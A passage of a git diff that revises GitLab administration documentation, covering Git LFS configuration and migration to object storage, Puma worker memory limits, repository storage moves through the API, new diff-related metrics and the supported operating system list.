CI/CD artifacts, logs, and builds](job_artifacts.md#using-object-storage) before you enable the feature flag. After the flag is enabled, files cannot be written to disk, and there is no protection against misconfiguration. - There is [an epic tracking other potential limitations and improvements](https://gitlab.com/groups/gitlab-org/-/epics/3791). - -### Enable or disable incremental logging - -Incremental logging is under development, but [ready for production use as of GitLab 13.6](https://gitlab.com/groups/gitlab-org/-/epics/4275). It is -deployed behind a feature flag that is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](feature_flags.md) -can enable it. - -Before you enable the feature flag: - -- Review [the limitations of incremental logging](#limitations). -- [Enable object storage](job_artifacts.md#object-storage-settings). - -To enable incremental logging: - -```ruby -Feature.enable(:ci_enable_live_trace) -``` - -Running jobs' logs continue to be written to disk, but new jobs use -incremental logging. - -To disable incremental logging: - -```ruby -Feature.disable(:ci_enable_live_trace) -``` - -Running jobs continue to use incremental logging, but new jobs write to the disk. diff --git a/doc/administration/lfs/index.md b/doc/administration/lfs/index.md index cf80b05a5e0..302dc38cf28 100644 --- a/doc/administration/lfs/index.md +++ b/doc/administration/lfs/index.md @@ -10,206 +10,335 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/lfs/lfs_administration.h This page contains information about configuring Git LFS in self-managed GitLab instances. For user documentation about Git LFS, see [Git Large File Storage](../../topics/git/lfs/index.md). -LFS is enabled in GitLab self-managed instances by default. - -## Requirements +Prerequisites: - Users need to install [Git LFS client](https://git-lfs.github.com) version 1.0.1 or later. -## Configuration +## Enable or disable LFS + +LFS is enabled by default. To disable it: + +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + # Change to true to enable lfs - enabled by default if not defined + gitlab_rails['lfs_enabled'] = false + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + lfs: + enabled: false + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['lfs_enabled'] = false + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + lfs: + enabled: false + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs + +## Change local storage path Git LFS objects can be large in size. By default, they are stored on the server GitLab is installed on. -There are various configuration options to help GitLab server administrators: +NOTE: +For Docker installations, you can change the path where your data is mounted. +For the Helm chart, use +[object storage](https://docs.gitlab.com/charts/advanced/external-object-storage/). + +To change the default local storage path location: -- Enabling/disabling Git LFS support. -- Changing the location of LFS object storage. -- Setting up object storage supported by [Fog](https://fog.io/about/provider_documentation.html). +::Tabs -### Configuration for Omnibus installations +:::TabTitle Linux package (Omnibus) -In `/etc/gitlab/gitlab.rb`: +1. Edit `/etc/gitlab/gitlab.rb`: -```ruby -# Change to true to enable lfs - enabled by default if not defined -gitlab_rails['lfs_enabled'] = false + ```ruby + # /var/opt/gitlab/gitlab-rails/shared/lfs-objects by default. + gitlab_rails['lfs_storage_path'] = "/mnt/storage/lfs-objects" + ``` -# Optionally, change the storage path location. Defaults to -# `#{gitlab_rails['shared_path']}/lfs-objects`. Which evaluates to -# `/var/opt/gitlab/gitlab-rails/shared/lfs-objects` by default. -gitlab_rails['lfs_storage_path'] = "/mnt/storage/lfs-objects" -``` +1. Save the file and reconfigure GitLab: -After you update settings in `/etc/gitlab/gitlab.rb`, run [Omnibus GitLab reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure). + ```shell + sudo gitlab-ctl reconfigure + ``` -### Configuration for installations from source +:::TabTitle Self-compiled (source) -In `config/gitlab.yml`: +1. Edit `/home/git/gitlab/config/gitlab.yml`: -```yaml -# Change to true to enable lfs - lfs: - enabled: false - storage_path: /mnt/storage/lfs-objects -``` + ```yaml + # /home/git/gitlab/shared/lfs-objects by default. + production: &base + lfs: + storage_path: /mnt/storage/lfs-objects + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ## Storing LFS objects in remote object storage You can store LFS objects in remote object storage. This allows you to reduce reads and writes to the local disk, and free up disk space significantly. -GitLab is tightly integrated with `Fog`, so you can refer to its [documentation](https://fog.io/about/provider_documentation.html) -to check which storage services can be integrated with GitLab. -You can also use external object storage in a private local network. For example, -[MinIO](https://min.io/) is a standalone object storage service that works with GitLab instances. -[Read more about using object storage with GitLab](../object_storage.md). - -NOTE: In GitLab 13.2 and later, you should use the [consolidated object storage settings](../object_storage.md#consolidated-object-storage-configuration). -This section describes the earlier configuration format. [Migration steps still apply](#migrating-to-object-storage). -1. User pushes an `lfs` file to the GitLab instance. -1. GitLab-workhorse uploads the file directly to the external object storage. -1. GitLab-workhorse notifies GitLab-rails that the upload process is complete. +### Migrating to object storage + +You can migrate the LFS objects from local storage to object storage. The +processing is done in the background and requires **no downtime**. + +1. [Configure the object storage](../object_storage.md#consolidated-object-storage-configuration). +1. Migrate the LFS objects: + + ::Tabs -The following general settings are supported. + :::TabTitle Linux package (Omnibus) -| Setting | Description | Default | -|---------------------|-------------|---------| -| `enabled` | Enable/disable object storage. | `false` | -| `remote_directory` | The bucket name where LFS objects are stored. | | -| `proxy_download` | Set to true to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. | `false` | -| `connection` | Various connection options described below. | | + ```shell + sudo gitlab-rake gitlab:lfs:migrate + ``` -See [the available connection settings for different providers](../object_storage.md#connection-settings). + :::TabTitle Docker -Here is a configuration example with S3. + ```shell + sudo docker exec -t gitlab-rake gitlab:lfs:migrate + ``` -### S3 for Omnibus installations + :::TabTitle Self-compiled (source) -On Omnibus GitLab installations, the settings are prefixed by `lfs_object_store_`: + ```shell + sudo -u git -H bundle exec rake gitlab:lfs:migrate RAILS_ENV=production + ``` -1. Edit `/etc/gitlab/gitlab.rb` and add the following lines, replacing values based on your needs: + ::EndTabs - ```ruby - gitlab_rails['lfs_object_store_enabled'] = true - gitlab_rails['lfs_object_store_remote_directory'] = "lfs-objects" - gitlab_rails['lfs_object_store_connection'] = { - 'provider' => 'AWS', - 'region' => 'eu-central-1', - 'aws_access_key_id' => '1ABCD2EFGHI34JKLM567N', - 'aws_secret_access_key' => 'abcdefhijklmnopQRSTUVwxyz0123456789ABCDE', - # The below options configure an S3 compatible host instead of AWS - 'host' => 'localhost', - 'endpoint' => 'http://127.0.0.1:9000', - 'path_style' => true - } +1. Optional. Track the progress and verify that all job LFS objects migrated + successfully using the PostgreSQL console. + 1. Open a PostgreSQL console: + + ::Tabs + + :::TabTitle Linux package (Omnibus) + + ```shell + sudo gitlab-psql + ``` + + :::TabTitle Docker + + ```shell + sudo docker exec -it /bin/bash + gitlab-psql + ``` + + :::TabTitle Self-compiled (source) + + ```shell + sudo -u git -H psql -d gitlabhq_production + ``` + + ::EndTabs + + 1. Verify that all LFS files migrated to object storage with the following + SQL query. The number of `objectstg` should be the same as `total`: + + ```shell + gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM lfs_objects; + + total | filesystem | objectstg + ------+------------+----------- + 2409 | 0 | 2409 + ``` + +1. Verify that there are no files on disk in the `lfs-objects` directory: + + ::Tabs + + :::TabTitle Linux package (Omnibus) + + ```shell + sudo find /var/opt/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp | wc -l ``` -1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -1. [Migrate any existing local LFS objects to the object storage](#migrating-to-object-storage). - New LFS objects are forwarded to object storage. + :::TabTitle Docker -### S3 for installations from source + Assuming you mounted `/var/opt/gitlab` to `/srv/gitlab`: -For source installations the settings are nested under `lfs:` and then -`object_store:`: + ```shell + sudo find /srv/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp | wc -l + ``` -1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following - lines: + :::TabTitle Self-compiled (source) - ```yaml - lfs: - enabled: true - object_store: - enabled: false - remote_directory: lfs-objects # Bucket name - connection: - provider: AWS - aws_access_key_id: 1ABCD2EFGHI34JKLM567N - aws_secret_access_key: abcdefhijklmnopQRSTUVwxyz0123456789ABCDE - region: eu-central-1 - # Use the following options to configure an AWS compatible host such as Minio - host: 'localhost' - endpoint: 'http://127.0.0.1:9000' - path_style: true + ```shell + sudo find /home/git/gitlab/shared/lfs-objects -type f | grep -v tmp | wc -l ``` -1. Save the file, and then [restart GitLab](../restart_gitlab.md#installations-from-source) for the changes to take effect. -1. [Migrate any existing local LFS objects to the object storage](#migrating-to-object-storage). - New LFS objects are forwarded to object storage. + ::EndTabs -### Migrating to object storage +### Migrating back to local storage -**Option 1: Rake task** +NOTE: +For the Helm chart, you should use +[object storage](https://docs.gitlab.com/charts/advanced/external-object-storage/). -After [configuring the object storage](#storing-lfs-objects-in-remote-object-storage), use the following task to -migrate existing LFS objects from the local storage to the remote storage. -The processing is done in a background worker and requires **no downtime**. +To migrate back to local storage: -For Omnibus GitLab: +::Tabs -```shell -sudo gitlab-rake "gitlab:lfs:migrate" -``` +:::TabTitle Linux package (Omnibus) -For installations from source: +1. Migrate the LFS objects: -```shell -RAILS_ENV=production sudo -u git -H bundle exec rake gitlab:lfs:migrate -``` + ```shell + sudo gitlab-rake gitlab:lfs:migrate_to_local + ``` -You can optionally track progress and verify that all LFS objects migrated successfully using the -[PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database): +1. Edit `/etc/gitlab/gitlab.rb` and + [disable object storage](../object_storage.md#selectively-disabling-object-storage) + for LFS objects: -- `sudo gitlab-rails dbconsole` for Omnibus GitLab 14.1 and earlier. -- `sudo gitlab-rails dbconsole --database main` for Omnibus GitLab 14.2 and later. -- `sudo -u git -H psql -d gitlabhq_production` for source-installed instances. + ```ruby + gitlab_rails['object_store']['objects']['lfs']['enabled'] = false + ``` -Verify `objectstg` below (where `store=2`) has count of all LFS objects: +1. Save the file and reconfigure GitLab: -```shell -gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM lfs_objects; -``` + ```shell + sudo gitlab-ctl reconfigure + ``` -**Example Output** +:::TabTitle Docker -```shell -total | filesystem | objectstg -------+------------+----------- - 2409 | 0 | 2409 -``` +1. Migrate the LFS objects: + + ```shell + sudo docker exec -t gitlab-rake gitlab:lfs:migrate_to_local + ``` -Verify that there are no files on disk in the `objects` folder: +1. Edit `docker-compose.yml` and disable object storage for LFS objects: -```shell -sudo find /var/opt/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp | wc -l -``` + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['object_store']['objects']['lfs']['enabled'] = false + ``` -**Option 2: Rails console** +1. Save the file and restart GitLab: -Log into the Rails console: + ```shell + docker compose up -d + ``` -```shell -sudo gitlab-rails console -``` +:::TabTitle Self-compiled (source) -Upload LFS files manually +1. Migrate the LFS objects: -```ruby -LfsObject.where(file_store: [nil, 1]).find_each do |lfs_object| - lfs_object.file.migrate!(ObjectStorage::Store::REMOTE) if lfs_object.file.file.exists? -end -``` + ```shell + sudo -u git -H bundle exec rake gitlab:lfs:migrate_to_local RAILS_ENV=production + ``` -### Migrating back to local storage +1. Edit `/home/git/gitlab/config/gitlab.yml` and disable object storage for LFS objects: -To migrate back to local storage: + ```yaml + production: &base + object_store: + objects: + lfs: + enabled: false + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` -1. Run `rake gitlab:lfs:migrate_to_local` on your console. -1. Disable `object_storage` for LFS objects in `gitlab.rb`. Remember to restart GitLab afterwards. +::EndTabs ## Storage statistics diff --git a/doc/administration/load_balancer.md b/doc/administration/load_balancer.md index ad89d32183b..83b42295035 100644 --- a/doc/administration/load_balancer.md +++ b/doc/administration/load_balancer.md @@ -36,7 +36,7 @@ for details on managing SSL certificates and configuring NGINX. ### Load Balancers terminate SSL without backend SSL -Configure your load balancers to use the 'HTTP(S)' protocol rather than 'TCP'. +Configure your load balancers to use the `HTTP(S)` protocol rather than `TCP`. The load balancers is be responsible for managing SSL certificates and terminating SSL. @@ -47,7 +47,7 @@ for details. ### Load Balancers terminate SSL with backend SSL -Configure your load balancers to use the 'HTTP(S)' protocol rather than 'TCP'. +Configure your load balancers to use the `HTTP(S)` protocol rather than `TCP`. The load balancers is responsible for managing SSL certificates that end users see. diff --git a/doc/administration/logs/tracing_correlation_id.md b/doc/administration/logs/tracing_correlation_id.md index 906dcd3cea9..45c0ce37102 100644 --- a/doc/administration/logs/tracing_correlation_id.md +++ b/doc/administration/logs/tracing_correlation_id.md @@ -133,7 +133,7 @@ You can use the [performance bar](../monitoring/performance/performance_bar.md) To view the data, the correlation ID of the request must match the same session as the user viewing the performance bar. For API requests, this means that you must perform the request -using the session cookie of the signed-in user. +using the session cookie of the authenticated user. For example, if you want to view the database queries executed for the following API endpoint: diff --git a/doc/administration/merge_request_diffs.md b/doc/administration/merge_request_diffs.md index 25dba00beb9..85677512860 100644 --- a/doc/administration/merge_request_diffs.md +++ b/doc/administration/merge_request_diffs.md @@ -1,6 +1,6 @@ --- stage: Create -group: Editor +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/performance/grafana_configuration.md b/doc/administration/monitoring/performance/grafana_configuration.md index 92e9672cdb6..3dec34ebace 100644 --- a/doc/administration/monitoring/performance/grafana_configuration.md +++ b/doc/administration/monitoring/performance/grafana_configuration.md @@ -25,9 +25,9 @@ is `admin`. 1. Log in to Grafana as the administration user. 1. Select **Data Sources** from the **Configuration** menu. -1. Select the **Add data source** button. +1. Select **Add data source**. 1. Select the required data source type. For example, [Prometheus](../prometheus/index.md#prometheus-as-a-grafana-data-source). -1. Complete the details for the data source and select the **Save & Test** button. +1. Complete the details for the data source and select **Save & Test**. Grafana should indicate the data source is working. @@ -43,8 +43,8 @@ them: 1. Log in to Grafana as the administration user. 1. Select **Manage** from the **Dashboards** menu. - 1. Select the **Import** button, then the **Upload JSON file** button. - 1. Locate the JSON file to import and select **Choose for Upload**. Select the **Import** button. + 1. Select **Import**, then **Upload JSON file**. + 1. Locate the JSON file to import and select **Choose for Upload**. Select **Import**. 1. After the dashboard is imported, select the **Save dashboard** icon in the top bar. If you don't save the dashboard after importing it, the dashboard is removed diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md index 53ee028bc32..29182077d66 100644 --- a/doc/administration/monitoring/prometheus/gitlab_metrics.md +++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md @@ -153,6 +153,14 @@ The following metrics are available: | `cached_object_operations_total` | Counter | 15.3 | Total number of objects cached for specific web requests | `controller`, `action` | | `redis_hit_miss_operations_total` | Counter | 15.6 | Total number of Redis cache hits and misses | `cache_hit`, `caller_id`, `cache_identifier`, `feature_category`, `backing_resource` | | `redis_cache_generation_duration_seconds` | Histogram | 15.6 | Time to generate Redis cache | `cache_hit`, `caller_id`, `cache_identifier`, `feature_category`, `backing_resource` | +| `gitlab_diffs_reorder_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spend on reordering of diff files on diffs batch request | `controller`, `action` | +| `gitlab_diffs_collection_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on querying merge request diff files on diffs batch request | `controller`, `action` | +| `gitlab_diffs_comparison_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on getting comparison data on diffs batch request | `controller`, `action` | +| `gitlab_diffs_unfoldable_positions_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on getting unfoldable note positions on diffs batch request | `controller`, `action` | +| `gitlab_diffs_unfold_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on unfolding positions on diffs batch request | `controller`, `action` | +| `gitlab_diffs_write_cache_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on caching highlighted lines and stats on diffs batch request | `controller`, `action` | +| `gitlab_diffs_highlight_cache_decorate_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on setting highlighted lines from cache on diffs batch request | `controller`, `action` | +| `gitlab_diffs_render_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on serializing and rendering diffs on diffs batch request | `controller`, `action` | ## Metrics controlled by a feature flag diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md index 0cae46faf28..6064ae7525e 100644 --- a/doc/administration/object_storage.md +++ b/doc/administration/object_storage.md @@ -13,7 +13,11 @@ typically much more performant, reliable, and scalable. ## Options -GitLab has been tested by vendors and customers on a number of object storage providers: +GitLab is tightly integrated with `Fog`, so you can refer to its +[documentation](https://fog.io/about/provider_documentation.html) to check +which storage services can be integrated with GitLab. + +Specifically, GitLab has been tested by vendors and customers on a number of object storage providers: - [Amazon S3](https://aws.amazon.com/s3/) - [Google Cloud Storage](https://cloud.google.com/storage) diff --git a/doc/administration/operations/fast_ssh_key_lookup.md b/doc/administration/operations/fast_ssh_key_lookup.md index 7aeb05457c0..a34b21e676a 100644 --- a/doc/administration/operations/fast_ssh_key_lookup.md +++ b/doc/administration/operations/fast_ssh_key_lookup.md @@ -188,7 +188,8 @@ file for the environment, as it isn't generated dynamically. ### Additional documentation -Additional technical documentation for `gitlab-sshd` may be found on the [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/README.md) documentation page. +Additional technical documentation for `gitlab-sshd` may be found in the +[GitLab Shell documentation](../../development/gitlab_shell/index.md). ## Troubleshooting diff --git a/doc/administration/operations/moving_repositories.md b/doc/administration/operations/moving_repositories.md index 96c1fcc422d..5066f6d99d8 100644 --- a/doc/administration/operations/moving_repositories.md +++ b/doc/administration/operations/moving_repositories.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w You can move all repositories managed by GitLab to another file system or another server. -## Moving data within a GitLab instance +## Moving data in a GitLab instance The GitLab API is the recommended way to move Git repositories: @@ -28,10 +28,10 @@ For more information, see: querying and scheduling group repository moves **(PREMIUM SELF)**. - [Migrate to Gitaly Cluster](../gitaly/index.md#migrate-to-gitaly-cluster). -### Move Repositories +### Moving Repositories GitLab repositories can be associated with projects, groups, and snippets. Each of these types -have a separate API to schedule the respective repositories to move. To move all repositories +has a separate API to schedule the respective repositories to move. To move all repositories on a GitLab instance, each of these types must be scheduled to move for each storage. WARNING: @@ -41,7 +41,7 @@ To move repositories into a [Gitaly Cluster](../gitaly/index.md#gitaly-cluster) WARNING: Repositories can be **permanently deleted** by a call to `/projects/:project_id/repository_storage_moves` that attempts to move a project already stored in a Gitaly Cluster back into that cluster. -See [this issue for more details](https://gitlab.com/gitlab-org/gitaly/-/issues/3752). This was fixed in +See [this issue for more details](https://gitlab.com/gitlab-org/gitaly/-/issues/3752). This issue was fixed in GitLab 14.3.0 and backported to [14.2.4](https://about.gitlab.com/releases/2021/09/17/gitlab-14-2-4-released/), [14.1.6](https://about.gitlab.com/releases/2021/09/27/gitlab-14-1-6-released/), @@ -59,13 +59,16 @@ To move repositories: so that the new storages receives all new projects. This stops new projects from being created on existing storages while the migration is in progress. 1. Schedule repository moves for: - - [Projects](#bulk-schedule-project-moves). - - [Snippets](#bulk-schedule-snippet-moves). - - [Groups](#bulk-schedule-group-moves). **(PREMIUM SELF)** + - [All projects](#move-all-projects) or + [individual projects](../../api/project_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-project). + - [All snippets](#move-all-snippets) or + [individual snippets](../../api/snippet_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-snippet). + - [All groups](#move-all-groups) or + [individual groups](../../api/group_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-group). **(PREMIUM SELF)** -### Bulk schedule project moves +#### Move all projects -Use the API to schedule project moves: +To move all projects by using the API: 1. [Schedule repository storage moves for all projects on a storage shard](../../api/project_repository_storage_moves.md#schedule-repository-storage-moves-for-all-projects-on-a-storage-shard) using the API. For example: @@ -100,9 +103,9 @@ Use the API to schedule project moves: 1. Repeat for each storage as required. -### Bulk schedule snippet moves +#### Move all snippets -Use the API to schedule snippet moves: +To move all snippets by using the API: 1. [Schedule repository storage moves for all snippets on a storage shard](../../api/snippet_repository_storage_moves.md#schedule-repository-storage-moves-for-all-snippets-on-a-storage-shard). For example: @@ -113,8 +116,8 @@ Use the API to schedule snippet moves: "https://gitlab.example.com/api/v4/snippet_repository_storage_moves" ``` -1. [Query the most recent repository moves](../../api/snippet_repository_storage_moves.md#retrieve-all-snippet-repository-storage-moves) -The response indicates either: +1. [Query the most recent repository moves](../../api/snippet_repository_storage_moves.md#retrieve-all-snippet-repository-storage-moves). + The response indicates either: - The moves have completed successfully. The `state` field is `finished`. - The moves are in progress. Re-query the repository move until it completes successfully. - The moves have failed. Most failures are temporary and are solved by rescheduling the move. @@ -129,12 +132,12 @@ The response indicates either: 1. Repeat for each storage as required. -### Bulk schedule group moves **(PREMIUM SELF)** +#### Move all groups **(PREMIUM SELF)** -Use the API to schedule group moves: +To move all groups by using the API: -1. [Schedule repository storage moves for all groups on a storage shard](../../api/group_repository_storage_moves.md#schedule-repository-storage-moves-for-all-groups-on-a-storage-shard) -. For example: +1. [Schedule repository storage moves for all groups on a storage shard](../../api/group_repository_storage_moves.md#schedule-repository-storage-moves-for-all-groups-on-a-storage-shard). + For example: ```shell curl --request POST --header "PRIVATE-TOKEN: " \ @@ -143,8 +146,8 @@ Use the API to schedule group moves: "https://gitlab.example.com/api/v4/group_repository_storage_moves" ``` -1. [Query the most recent repository moves](../../api/group_repository_storage_moves.md#retrieve-all-group-repository-storage-moves) -. The response indicates either: +1. [Query the most recent repository moves](../../api/group_repository_storage_moves.md#retrieve-all-group-repository-storage-moves). + The response indicates either: - The moves have completed successfully. The `state` field is `finished`. - The moves are in progress. Re-query the repository move until it completes successfully. - The moves have failed. Most failures are temporary and are solved by rescheduling the move. @@ -161,7 +164,7 @@ Use the API to schedule group moves: ## Migrating to another GitLab instance -[Using the API](#moving-data-within-a-gitlab-instance) isn't an option if you are migrating to a new +[Using the API](#moving-data-in-a-gitlab-instance) isn't an option if you are migrating to a new GitLab environment, for example: - From a single-node GitLab to a scaled-out architecture. @@ -185,7 +188,7 @@ Each of the approaches we list can or does overwrite data in the target director For either Gitaly or Gitaly Cluster targets, the GitLab [backup and restore capability](../../raketasks/backup_restore.md) should be used. Git repositories are accessed, managed, and stored on GitLab servers by Gitaly as a database. Data loss -can result from directly accessing and copying Gitaly's files using tools like `rsync`. +can result from directly accessing and copying Gitaly files using tools like `rsync`. - From GitLab 13.3, backup performance can be improved by [processing multiple repositories concurrently](../../raketasks/backup_gitlab.md#back-up-git-repositories-concurrently). diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md index af595cdf297..51d6e9ae1fd 100644 --- a/doc/administration/operations/puma.md +++ b/doc/administration/operations/puma.md @@ -14,24 +14,22 @@ features of GitLab. To reduce memory use, Puma forks worker processes. Each time a worker is created, it shares memory with the primary process. The worker uses additional memory only -when it changes or adds to its memory pages. +when it changes or adds to its memory pages. This can lead to Puma workers using +more physical memory over time as workers handle additional web requests. The amount of memory +used over time depends on the use of GitLab. The more features used by GitLab users, +the higher the expected memory use over time. -Memory use increases over time, but you can use Puma Worker Killer to recover memory. +To stop uncontrolled memory growth, the GitLab Rails application runs a supervision thread +that automatically restarts workers if they exceed a given resident set size (RSS) threshold +for a certain amount of time. -By default: - -- The [Puma Worker Killer](https://github.com/schneems/puma_worker_killer) restarts a worker if it - exceeds a [memory limit](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/cluster/puma_worker_killer_initializer.rb). -- Rolling restarts of Puma workers are performed every 12 hours. - -### Change the memory limit setting - -To change the memory limit setting: +GitLab sets a default of `1200Mb` for the memory limit. To override the default value, +set `per_worker_max_memory_mb` to the new RSS limit in megabytes: 1. Edit `/etc/gitlab/gitlab.rb`: ```ruby - puma['per_worker_max_memory_mb'] = 1024 + puma['per_worker_max_memory_mb'] = 1024 # 1GB ``` 1. Reconfigure GitLab: @@ -40,48 +38,40 @@ To change the memory limit setting: sudo gitlab-ctl reconfigure ``` -When workers are killed and replaced, capacity to run GitLab is reduced, -and CPU is consumed. Set `per_worker_max_memory_mb` to a higher value if the worker killer -is replacing workers too often. +When workers are restarted, capacity to run GitLab is reduced for a short +period of time. Set `per_worker_max_memory_mb` to a higher value if workers are replaced too often. Worker count is calculated based on CPU cores. A small GitLab deployment with 4-8 workers may experience performance issues if workers are being restarted too often (once or more per minute). -A higher value of `1200` or more would be beneficial if the server has free memory. +A higher value of `1200` or more could be beneficial if the server has free memory. -### Monitor worker memory +### Monitor worker restarts -The worker killer checks memory every 20 seconds. +GitLab emits log events if workers are restarted due to high memory use. -To monitor the worker killer, use [the Puma log](../logs/index.md#puma_stdoutlog) `/var/log/gitlab/puma/puma_stdout.log`. -For example: +The following is an example of one of these log events in `/var/log/gitlab/gitlab-rails/application_json.log`: -```plaintext -PumaWorkerKiller: Out of memory. 4 workers consuming total: 4871.23828125 MB -out of max: 4798.08 MB. Sending TERM to pid 26668 consuming 1001.00390625 MB. +```json +{ + "severity": "WARN", + "time": "2023-01-04T09:45:16.173Z", + "correlation_id": null, + "pid": 2725, + "worker_id": "puma_0", + "memwd_handler_class": "Gitlab::Memory::Watchdog::PumaHandler", + "memwd_sleep_time_s": 5, + "memwd_rss_bytes": 1077682176, + "memwd_max_rss_bytes": 629145600, + "memwd_max_strikes": 5, + "memwd_cur_strikes": 6, + "message": "rss memory limit exceeded" +} ``` -From this output: - -- The formula that calculates the maximum memory value results in workers - being killed before they reach the `per_worker_max_memory_mb` value. -- In GitLab 13.4 and earlier, the default values for the formula were 550 MB for the primary - and 850 MB for each worker. -- In GitLab 13.5 and later, the values are primary: 800 MB, worker: 1024 MB. -- The threshold for workers to be killed is set at 98% of the limit: - - ```plaintext - 0.98 * ( 800 + ( worker_processes * 1024MB ) ) - ``` - -- In the log output above, `0.98 * ( 800 + ( 4 * 1024 ) )` returns the - `max: 4798.08 MB` value. - -Increasing the maximum to `1200`, for example, would set a `max: 5488 MB` value. - -Workers use additional memory on top of the shared memory. The amount of memory -depends on a site's use of GitLab. +`memwd_rss_bytes` is the actual amount of memory consumed, and `memwd_max_rss_bytes` is the +RSS limit set through `per_worker_max_memory_mb`. ## Change the worker timeout @@ -146,7 +136,7 @@ for details. When running Puma in single mode, some features are not supported: - [Phased restart](https://gitlab.com/gitlab-org/gitlab/-/issues/300665) -- [Puma Worker Killer](https://gitlab.com/gitlab-org/gitlab/-/issues/300664) +- [Memory killers](#reducing-memory-use) To learn more, visit [epic 5303](https://gitlab.com/groups/gitlab-org/-/epics/5303). diff --git a/doc/administration/operations/rails_console.md b/doc/administration/operations/rails_console.md index efaf480c6df..f2143435755 100644 --- a/doc/administration/operations/rails_console.md +++ b/doc/administration/operations/rails_console.md @@ -31,6 +31,12 @@ Rails experience is useful but not required. sudo gitlab-rails console ``` +**For Docker installations** + +```shell +docker exec -it gitlab-rails console +``` + **For installations from source** ```shell diff --git a/doc/administration/package_information/supported_os.md b/doc/administration/package_information/supported_os.md index fdbb17f3c71..9d1c8dcde5a 100644 --- a/doc/administration/package_information/supported_os.md +++ b/doc/administration/package_information/supported_os.md @@ -21,10 +21,11 @@ The following lists the currently supported OSs and their possible EOL dates. | CentOS 7 | GitLab CE / GitLab EE 7.10.0 | x86_64 | [CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | June 2024 | | | Debian 10 | GitLab CE / GitLab EE 12.2.0 | amd64, arm64 | [Debian Install Documentation](https://about.gitlab.com/install/#debian) | 2024 | | | Debian 11 | GitLab CE / GitLab EE 14.6.0 | amd64, arm64 | [Debian Install Documentation](https://about.gitlab.com/install/#debian) | 2026 | | -| OpenSUSE 15.3 | GitLab CE / GitLab EE 14.5.0 | x86_64, aarch64 | [OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap-15-3) | Nov 2022 | | +| OpenSUSE 15.3 | GitLab CE / GitLab EE 14.5.0 | x86_64, aarch64 | [OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Dec 2022 | | +| OpenSUSE 15.4 | GitLab CE / GitLab EE 15.7.0 | x86_64, aarch64 | [OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Nov 2023 | | | RHEL 8 | GitLab CE / GitLab EE 12.8.1 | x86_64, arm64 | [Use CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | May 2029 | [RHEL Details](https://access.redhat.com/support/policy/updates/errata/#Life_Cycle_Dates) | -| SLES 12 | GitLab EE 9.0.0 | x86_64 | [Use OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap-15-3) | Oct 2027 | | -| SLES 15 | GitLab EE 14.8.0 | x86_64 | [Use OpenSUSE Install 